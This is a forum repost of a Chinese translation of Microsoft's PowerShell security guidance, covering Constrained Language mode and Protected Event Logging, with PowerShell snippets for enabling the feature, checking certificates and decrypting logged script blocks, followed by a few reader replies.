        如前所述,Constrained PowerShel建立在Windows权限模型之上。 因此,AppLocker应应用于常规用户帐户,而不是系统管理员。管理员帐户可以通过简单地更改或禁用策略来绕过该策略。

Protected Event Logging(受保护的事件记录)

        随着系统记录的增加,一个需要关注的问题是所记录的内容可能包含敏感数据。 例如,如果记录运行的每个PowerShell脚本的内容,则脚本可能包含凭据或其他敏感数据。如果攻击者破坏了已录此数据的计算机,这些记录可能会向攻击者提供其他信息,以扩展其攻击范围。

         为避免此难题,Windows 10引入了受保护事件日志记录。 受保护的事件日志功能使参与应用程序在将敏感数据写入事件日志时对其进行加密。 将这些日志移至更安全,集中的日志收集器后,您便可以对其进行解密和处理。

Windows内置了一种将事件日志移动到更安全和集中的日志收集器的常用技术:Windows事件转发。 NSA提供了有关设置Windows事件转发的出色文档:“Spotting the Adversary with Windows Event Log Monitoring”。或者使用System Center Operations Manager或商用安全信息和事件管理(SIEM)系统。

在Windows 10中,PowerShell是唯一参与受保护事件日志记录的应用程序。

受保护的事件日志通过IETF加密消息语法(CMS)标准保护事件日志内容。 CMS加密标准实现了公共密钥加密,其中用于加密内容的密钥(公共密钥)和用于解密内容的密钥(私有密钥)是分开的。

您的公钥可以广泛共享,并且不是敏感数据。 如果使用此公共密钥加密了任何内容,则只有您的私有密钥可以解密它。 有关公钥密码术的更多信息,请参见:http://en.wikipedia.org/wiki/Public-key_cryptography。

        实施受保护的事件日志记录策略时,会将公钥部署到所有具有要保护的事件日志数据的计算机。 您保留相应的私钥,以便在更安全的位置(例如中央事件日志收集器或SIEM聚合器)对事件日志进行后处理。

要启用受保护的事件记录,请通过Windows组件->管理模板->事件记录在组策略中启用“启用受保护的事件记录”功能。 此设置需要加密证书,您可以采用以下几种形式之一提供该证书:

-          -Base-64编码的X.509证书的内容(例如,由证书管理器中的“导出”选项提供)

-          -可以在本地计算机证书存储中找到的证书的指纹(通常由PKI基础结构部署)

-          -证书的完整路径(可以是本地或远程共享)

-          -包含一个或多个证书(可以是本地或远程共享)的目录的路径

-          -可以在本地计算机证书存储中找到的证书的主题名称(通常由PKI基础结构部署)

生成的证书必须具有“文档加密”作为增强的密钥用法(1.3.6.1.4.1.311.80.1),并且必须启用“数据加密”或“密钥加密”密钥用法。

您还可以使用以下PowerShell功能来启用受保护的事件日志记录:

function Enable-ProtectedEventLogging

{

    param(

        [Parameter(Mandatory)]

        $Certificate

    )

    $basePath = "HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging"

    if(-not (Test-Path $basePath))

    {

        $null = New-Item $basePath -Force

    }

    Set-ItemProperty $basePath -Name EnableProtectedEventLogging -Value "1"

    Set-ItemProperty $basePath -Name EncryptionCertificate -Value $Certificate

}

function Disable-ProtectedEventLogging

{

    Remove-Item HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging -Force -Recurse

}

        虽然Windows 10仅存在受保护事件日志的组策略模板, PowerShell版本5和KB3000850中的PowerShell受保护的事件日志记录功能也可手动配置设置。

例如:

PS C:\temp> $cert = Get-Content C:\temp\ProtectedEventLogging.cer –Raw

PS C:\temp> Enable-ProtectedEventLogging –Certificate $cert

        受保护的事件日志记录功能是特定应用程序日志的补充。 启用受保护的事件日志记录不会自动启用事件源,例如PowerShell脚本块日志记录。

        如果应用程序在记录期间无法正确解析加密证书,它将在其事件日志通道中记录一条警告消息,然后继续记录数据而没有事件日志保护。

        在配置用于部署的加密证书时,请确保它不包含私钥。 如果证书包含私钥,那么它也可以用于解密受保护的事件日志内容。

以下命令显示如何确定节点上的文档加密证书是否已使用私钥部署:

PS Cert:\CurrentUser\My> dir -DocumentEncryptionCert

    Directory: Microsoft.PowerShell.Security\Certificate::CurrentUser\My

Thumbprint                                Subject

----------                                -------

5EE994BD4C0B79ADFAA7890D7D3FBE820CF03282  CN=ProtectedEventLogging

PS Cert:\CurrentUser\My> (dir -DocumentEncryptionCert).HasPrivateKey

True

        若要对受保护的事件日志消息的内容进行后处理,请使用PowerShell Unprotect-CmsMessage cmdlet和加密消息语法(CMS)加密和解密cmdlet。

        例如,如果在计算机上安装了适当的解密证书(即具有私钥的证书),则以下PowerShell命令将自动解密加密的事件日志消息:

PS C:\temp> Get-WinEvent Microsoft-Windows-PowerShell/Operational |

    Where-Object Id -eq 4104 | % Message

Creating Scriptblock text (1 of 1):

-----BEGIN CMS-----

MIIBqAYJKoZIhvcNAQcDoIIBmTCCAZUCAQAxggFQMIIBTAIBADA0MCAxHjAcBgNVBAMMFWxlZWhv

bG1AbWljcm9zb2Z0LmNvbQIQIHYCpaWKj79MCPOeLV5rmjANBgkqhkiG9w0BAQcwAASCAQAyRMrz

bT6xs/AXl9OZtEhRW2LuiRpHy/texsSvWGvaVWALEB8a5DrPFwsxmunLBMssX69FoTDROTtTAthU

5QqCg5y891YIk3WRkjgTXGuWUBji8X+iyXKN0O5urpM3wFZLYroCZbsnVYcZYzbLcu4mfuNwpu9Q

RDPVjegXXU5gyxKaFvnEfPGWSE/17nJRkjFFlofjgO4W3mgHVEYt4Vtfa01LRgO+SE8n1MDQXTN7

yw9+AFiFCsyDmzD131QLook54WC8LVy0NS5Nf5h4FM27/cn2GZfOoh/dP7wN/VA++Xsej7wkHyP3

5H8dxqhtGM2LkVG30LRIQJVmc0VfK5eNMDwGCSqGSIb3DQEHATAdBglghkgBZQMEASoEEC0VkkV4

IRHrhavdVSpu316AEO2RFE90vfU9S9L9nTQ2CzE=
-----END CMS-----

ScriptBlock ID: df0db710-b6f6-4f12-8c10-bb6e724bdea2
Creating Scriptblock text (1 of 1):
-----BEGIN CMS-----
MIIBqAYJKoZIhvcNAQcDoIIBmTCCAZUCAQAxggFQMIIBTAIBADA0MCAxHjAcBgNVBAMMFWxlZWhv

bG1AbWljcm9zb2Z0LmNvbQIQIHYCpaWKj79MCPOeLV5rmjANBgkqhkiG9w0BAQcwAASCAQBls/kL

EqGJYOJHTVqe3toLwP55V1rAcpGKLqdQh5+dwjGtcBrIXLM+bh7fNJMER4ZtWQjOtOL+9TfCDupo

NOsD6kaaN1zozw3f1degUOZZ+a1Fjqg4DopUOhpOGC4TXCNdokhPEA2wfaVxNQeWH0sz/6uxkdt4

fZzu73szyYalE2/oK8ua0KFiV4oN7YToUqjas7Lrxgrss2s0KpMa0aXzomdlgqinjtxxaqfN9hXw

S7eSiiMWcSoQrGkBAdO95O7SDaVwyrr91Q5j3ipStJ9tT5JZYBH2Rt0lPGQJri/9XwVZWcqyPdsy

Dw//PRoduOvLoDJGmiPJPOXZcxku2V/hMDwGCSqGSIb3DQEHATAdBglghkgBZQMEASoEECJp7jZ3

h/8GOVAzagX0jjCAEMbLKx+cTg8YJiTH1tY3PTw=

-----END CMS-----

ScriptBlock ID: f35edb0c-8d5a-46fd-a0c9-8984f4622f38

PS C:\temp> Get-WinEvent Microsoft-Windows-PowerShell/Operational |

     Where-Object Id -eq 4104 | Unprotect-CmsMessage

prompt

"Hello World"

要保留实际事件日志条目的结构(仅在解密Message字段时),请使用–IncludeContext参数:

PS C:\temp> Get-WinEvent Microsoft-Windows-PowerShell/Operational | ? Id -eq 4104 |

>>>     Unprotect-CmsMessage -IncludeContext

   ProviderName: Microsoft-Windows-PowerShell

TimeCreated                     Id LevelDisplayName Message

-----------                     -- ---------------- -------

4/3/2015 11:47:13 AM          4104 Verbose          Creating Scriptblock text (1 of 1):...

4/3/2015 11:47:13 AM          4104 Verbose          Creating Scriptblock text (1 of 1):...

Features and their Supported Platforms(支持的平台和特性)

        Windows 10的PowerShell版本5提供了本文档中讨论的所有高级功能。但是,PowerShell版本5也可以通过Windows 8.1,Windows 8,Windows 7,Windows Server 2012R2和Server 2012管理框架获得。

        此外,还可以通过KB3000850获得某些功能,KB3000850是Windows 8.1和Windows Server 2012R2上PowerShell版本4的更新。 下表显示了功能及其可用性。

见附件文件

转自:https://mp.weixin.qq.com/s/KH3GBimXxQVkb2mROSxC6g


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-12-27 18:35 被dodohit编辑 ,原因:
上传的附件:
收藏
点赞6
打赏
分享
最新回复 (5)
雪    币: 12083
活跃值: (15459)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2019-12-26 18:50
2
1
mark,楼主辛苦了
雪    币: 6
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ASG 2019-12-26 19:15
3
1
好文章,谢谢楼主了
雪    币: 3017
活跃值: (1149)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
zhouws 2 2019-12-26 19:30
4
1
建议翻译可以人性化点
雪    币: 3850
活跃值: (292)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
dodohit 2019-12-27 08:46
5
0
谢谢您的建议,下一篇争取这方面有所提高
雪    币: 3850
活跃值: (292)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
dodohit 2019-12-27 08:47
6
0
谢谢大家支持,继续努力
游客
登录 | 注册 方可回帖
返回